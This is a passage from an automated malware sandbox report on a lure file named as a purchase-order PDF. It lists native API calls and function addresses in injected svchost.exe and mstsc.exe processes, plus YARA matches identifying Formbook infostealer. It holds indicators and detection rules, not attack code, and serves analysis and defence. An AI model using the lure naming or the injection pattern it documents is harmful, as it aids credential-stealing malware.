Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04562AD0 NtReadFile,LdrInitializeThunk,	4_2_04562AD0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04562AF0 NtWriteFile,LdrInitializeThunk,	4_2_04562AF0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04562B60 NtClose,LdrInitializeThunk,	4_2_04562B60
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04562BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	4_2_04562BF0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04562BE0 NtQueryValueKey,LdrInitializeThunk,	4_2_04562BE0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04562BA0 NtEnumerateValueKey,LdrInitializeThunk,	4_2_04562BA0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04563010 NtOpenDirectoryObject,	4_2_04563010
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04563090 NtSetValueKey,	4_2_04563090
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04562C00 NtQueryInformationProcess,	4_2_04562C00
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04562CC0 NtQueryVirtualMemory,	4_2_04562CC0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04562CF0 NtOpenProcess,	4_2_04562CF0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04563D70 NtOpenThread,	4_2_04563D70
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04563D10 NtOpenProcessToken,	4_2_04563D10
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04562D00 NtSetInformationFile,	4_2_04562D00
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04562DB0 NtEnumerateKey,	4_2_04562DB0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04562E30 NtWriteVirtualMemory,	4_2_04562E30
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04562EA0 NtAdjustPrivilegesToken,	4_2_04562EA0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04562F60 NtCreateProcessEx,	4_2_04562F60
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04562F90 NtProtectVirtualMemory,	4_2_04562F90
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04562FA0 NtQuerySection,	4_2_04562FA0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04562AB0 NtWaitForSingleObject,	4_2_04562AB0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04562B80 NtQueryInformationFile,	4_2_04562B80
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_004A9040 NtReadFile,	4_2_004A9040
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_004A9130 NtDeleteFile,	4_2_004A9130
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_004A91D0 NtClose,	4_2_004A91D0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_004A9330 NtAllocateVirtualMemory,	4_2_004A9330
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_004A8EE0 NtCreateFile,	4_2_004A8EE0

Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_0001E060	0_2_0001E060
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_00023190	0_2_00023190
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_00033307	0_2_00033307
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_00032345	0_2_00032345
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_0003F359	0_2_0003F359
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_00046452	0_2_00046452
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_000425AE	0_2_000425AE
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_00031604	0_2_00031604
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_00025680	0_2_00025680
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_0003277A	0_2_0003277A
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_00037813	0_2_00037813
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_000258C0	0_2_000258C0
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_0004890F	0_2_0004890F
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_0001192B	0_2_0001192B
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_00028968	0_2_00028968
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_000469C4	0_2_000469C4
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_00031AF8	0_2_00031AF8
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_0003CCA1	0_2_0003CCA1
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_00097E0D	0_2_00097E0D
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_0001FEA9	0_2_0001FEA9
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_00031F10	0_2_00031F10
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_0003BF26	0_2_0003BF26
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_00046F36	0_2_00046F36
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00418563	2_2_00418563
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00410023	2_2_00410023
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040E0A3	2_2_0040E0A3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00403109	2_2_00403109
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00403110	2_2_00403110
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0042EB33	2_2_0042EB33
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040FDFC	2_2_0040FDFC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402670	2_2_00402670
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040FE03	2_2_0040FE03
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00416743	2_2_00416743
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4E3F0	2_2_03C4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D003E6	2_2_03D003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C8739A	2_2_03C8739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2D34C	2_2_03C2D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFA352	2_2_03CFA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF132D	2_2_03CF132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5B2C0	2_2_03C5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE12ED	2_2_03CE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C452A0	2_2_03C452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE0274	2_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF81CC	2_2_03CF81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4B1B0	2_2_03C4B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D001AA	2_2_03D001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC8158	2_2_03CC8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C7516C	2_2_03C7516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2F172	2_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D0B16B	2_2_03D0B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C30100	2_2_03C30100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CDA118	2_2_03CDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CEF0CC	2_2_03CEF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C470C0	2_2_03C470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF70E9	2_2_03CF70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFF0E0	2_2_03CFF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3C7C0	2_2_03C3C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFF7B0	2_2_03CFF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C64750	2_2_03C64750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40770	2_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF16CC	2_2_03CF16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5C6E0	2_2_03C5C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D00591	2_2_03D00591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CDD5B0	2_2_03CDD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF7571	2_2_03CF7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40535	2_2_03C40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CEE4F6	2_2_03CEE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF2446	2_2_03CF2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C31460	2_2_03C31460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFF43F	2_2_03CFF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF6BD7	2_2_03CF6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB5BF0	2_2_03CB5BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C7DBF9	2_2_03C7DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5FB80	2_2_03C5FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFAB40	2_2_03CFAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFFB76	2_2_03CFFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CEDAC6	2_2_03CEDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3EA80	2_2_03C3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CDDAAC	2_2_03CDDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C85AA0	2_2_03C85AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFFA49	2_2_03CFFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF7A46	2_2_03CF7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB3A6C	2_2_03CB3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C429A0	2_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D0A9A6	2_2_03D0A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C49950	2_2_03C49950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5B950	2_2_03C5B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C56962	2_2_03C56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C438E0	2_2_03C438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6E8F0	2_2_03C6E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C268B8	2_2_03C268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C42840	2_2_03C42840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4A840	2_2_03C4A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAD800	2_2_03CAD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C32FC8	2_2_03C32FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4CFE0	2_2_03C4CFE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C41F92	2_2_03C41F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFFFB1	2_2_03CFFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB4F40	2_2_03CB4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFFF09	2_2_03CFFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C82F28	2_2_03C82F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C60F30	2_2_03C60F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFEEDB	2_2_03CFEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C52E90	2_2_03C52E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFCE93	2_2_03CFCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C49EB0	2_2_03C49EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40E59	2_2_03C40E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFEE26	2_2_03CFEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5FDC0	2_2_03C5FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3ADE0	2_2_03C3ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C58DBF	2_2_03C58DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C43D40	2_2_03C43D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF1D5A	2_2_03CF1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF7D73	2_2_03CF7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4AD00	2_2_03C4AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C30CF2	2_2_03C30CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFFCF2	2_2_03CFFCF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE0CB5	2_2_03CE0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40C00	2_2_03C40C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB9C32	2_2_03CB9C32
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	Code function: 3_2_0637A29E	3_2_0637A29E
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	Code function: 3_2_0639E205	3_2_0639E205
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045E2446	4_2_045E2446
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04521460	4_2_04521460
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045EF43F	4_2_045EF43F
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045DE4F6	4_2_045DE4F6
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045E7571	4_2_045E7571
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04530535	4_2_04530535
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045F0591	4_2_045F0591
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045CD5B0	4_2_045CD5B0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045E16CC	4_2_045E16CC
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_0454C6E0	4_2_0454C6E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04554750	4_2_04554750
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04530770	4_2_04530770
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_0452C7C0	4_2_0452C7C0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045EF7B0	4_2_045EF7B0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045DF0CC	4_2_045DF0CC
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045370C0	4_2_045370C0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045E70E9	4_2_045E70E9
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045EF0E0	4_2_045EF0E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_0451F172	4_2_0451F172
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045FB16B	4_2_045FB16B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_0456516C	4_2_0456516C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045CA118	4_2_045CA118
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04520100	4_2_04520100
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045E81CC	4_2_045E81CC
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_0453B1B0	4_2_0453B1B0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045F01AA	4_2_045F01AA
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045D0274	4_2_045D0274
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_0454B2C0	4_2_0454B2C0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045D12ED	4_2_045D12ED
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045352A0	4_2_045352A0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045EA352	4_2_045EA352
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_0451D34C	4_2_0451D34C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045E132D	4_2_045E132D
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_0453E3F0	4_2_0453E3F0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045F03E6	4_2_045F03E6
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_0457739A	4_2_0457739A
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04530C00	4_2_04530C00
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045A9C32	4_2_045A9C32
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04520CF2	4_2_04520CF2
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045EFCF2	4_2_045EFCF2
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045D0CB5	4_2_045D0CB5
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045E1D5A	4_2_045E1D5A
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04533D40	4_2_04533D40
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045E7D73	4_2_045E7D73
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_0453AD00	4_2_0453AD00
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_0454FDC0	4_2_0454FDC0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_0452ADE0	4_2_0452ADE0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04548DBF	4_2_04548DBF
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04530E59	4_2_04530E59
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045EEE26	4_2_045EEE26
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045EEEDB	4_2_045EEEDB
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04542E90	4_2_04542E90
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045ECE93	4_2_045ECE93
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04539EB0	4_2_04539EB0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045A4F40	4_2_045A4F40
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045EFF09	4_2_045EFF09
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04550F30	4_2_04550F30
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04572F28	4_2_04572F28
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04522FC8	4_2_04522FC8
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_0453CFE0	4_2_0453CFE0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04531F92	4_2_04531F92
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045EFFB1	4_2_045EFFB1
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04532840	4_2_04532840
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_0453A840	4_2_0453A840
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_0459D800	4_2_0459D800
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_0455E8F0	4_2_0455E8F0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045338E0	4_2_045338E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045168B8	4_2_045168B8
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04539950	4_2_04539950
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_0454B950	4_2_0454B950
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04546962	4_2_04546962
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045329A0	4_2_045329A0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045FA9A6	4_2_045FA9A6
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045EFA49	4_2_045EFA49
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045E7A46	4_2_045E7A46
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045A3A6C	4_2_045A3A6C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045DDAC6	4_2_045DDAC6
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_0452EA80	4_2_0452EA80
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045CDAAC	4_2_045CDAAC
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_04575AA0	4_2_04575AA0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045EAB40	4_2_045EAB40
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045EFB76	4_2_045EFB76
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045E6BD7	4_2_045E6BD7
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_0456DBF9	4_2_0456DBF9
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_0454FB80	4_2_0454FB80
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_00491B50	4_2_00491B50
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_004951E0	4_2_004951E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_004933C0	4_2_004933C0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_004AB7B0	4_2_004AB7B0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_0048CA79	4_2_0048CA79
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_0048CA80	4_2_0048CA80
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_0048CCA0	4_2_0048CCA0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_0048AD20	4_2_0048AD20
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_00E5E378	4_2_00E5E378
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_00E5E495	4_2_00E5E495
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_00E6540C	4_2_00E6540C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_00E5D898	4_2_00E5D898
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_00E5E833	4_2_00E5E833
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_00E5CA83	4_2_00E5CA83
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_00E5CB58	4_2_00E5CB58
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_00E63F69	4_2_00E63F69

Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03C75130 appears 36 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03C2B970 appears 268 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03C87E54 appears 96 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03CAEA12 appears 86 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03CBF290 appears 105 times
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: String function: 04577E54 appears 89 times
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: String function: 045AF290 appears 105 times
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: String function: 04565130 appears 36 times
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: String function: 0451B970 appears 268 times
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: String function: 0459EA12 appears 85 times
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: String function: 00038A80 appears 39 times

Source: PO-78140924.BAT.PDF.exe, 00000000.00000003.2042653624.0000000004663000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs PO-78140924.BAT.PDF.exe
Source: PO-78140924.BAT.PDF.exe, 00000000.00000003.2041249097.000000000480D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs PO-78140924.BAT.PDF.exe

Source: PO-78140924.BAT.PDF.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.3895831173.0000000000480000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
